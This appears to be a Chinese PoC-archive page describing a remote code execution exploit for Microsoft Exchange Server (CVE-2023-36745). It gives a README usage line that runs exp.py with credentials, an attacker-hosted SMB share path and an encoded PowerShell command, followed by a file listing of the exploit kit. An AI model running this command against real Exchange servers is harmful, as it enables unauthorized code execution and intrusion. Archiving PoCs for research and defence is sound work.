关联漏洞
标题:Microsoft Exchange Server 安全漏洞 (CVE-2023-36745)Description:Microsoft Exchange Server是美国微软（Microsoft）公司的一套电子邮件服务程序。它提供邮件存取、储存、转发，语音邮件，邮件过滤筛选等功能。 Microsoft Exchange Server存在安全漏洞。以下产品和版本受到影响：Microsoft Exchange Server 2019 Cumulative Update 12,Microsoft Exchange Server 2016 Cumulative Update 23,Microsoft Exchange Ser
介绍
# CVE-2023-36745
Microsoft Exchange Server CVE-2023-36745 RCE PoC.
Example:
```
python3 exp.py -H exchange.webdxg.com -u webdxg.com\dddai -p 4IDF7LAU -s \\192.168.237.131\Shares\ -c calc.exe
```
Command will be passed to `powershell -e`.
文件快照
[4.0K] /data/pocs/deb3cacf888a92fd167e4a541041d583a5231b1f
├── [3.1K] exp.py
├── [4.5K] FUSE.Paxos.dll
├── [4.0K] pypsrp
│ ├── [ 14K] client.py
│ ├── [ 61K] complex_objects.py
│ ├── [3.8K] encryption.py
│ ├── [3.9K] exceptions.py
│ ├── [ 44K] host.py
│ ├── [ 958] __init__.py
│ ├── [ 40K] messages.py
│ ├── [ 40K] messages.py.tpl
│ ├── [ 11K] negotiate.py
│ ├── [ 64K] powershell.py
│ ├── [4.0K] pwsh_scripts
│ │ ├── [5.2K] copy.ps1
│ │ ├── [1.9K] fetch.ps1
│ │ ├── [ 139] __init__.py
│ │ └── [4.0K] __pycache__
│ │ └── [ 198] __init__.cpython-37.pyc
│ ├── [4.0K] __pycache__
│ │ ├── [ 12K] client.cpython-37.pyc
│ │ ├── [ 49K] complex_objects.cpython-37.pyc
│ │ ├── [3.4K] encryption.cpython-37.pyc
│ │ ├── [5.2K] exceptions.cpython-37.pyc
│ │ ├── [ 43K] host.cpython-37.pyc
│ │ ├── [ 795] __init__.cpython-37.pyc
│ │ ├── [ 34K] messages.cpython-37.pyc
│ │ ├── [8.9K] negotiate.cpython-37.pyc
│ │ ├── [ 52K] powershell.cpython-37.pyc
│ │ ├── [ 25K] serializer.cpython-37.pyc
│ │ ├── [ 14K] shell.cpython-37.pyc
│ │ ├── [2.9K] _utils.cpython-37.pyc
│ │ └── [ 31K] wsman.cpython-37.pyc
│ ├── [ 0] py.typed
│ ├── [ 33K] serializer.py
│ ├── [ 16K] shell.py
│ ├── [3.5K] _utils.py
│ └── [ 45K] wsman.py
└── [ 242] README.md
4 directories, 35 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问，请发送邮件到 f.jinxu#gmail.com 索取本地快照（把 # 换成 @）。
3. 神龙已为您对 POC 代码进行快照，为了长期维护，请考虑为本地 POC 付费/捐赠，感谢您的支持。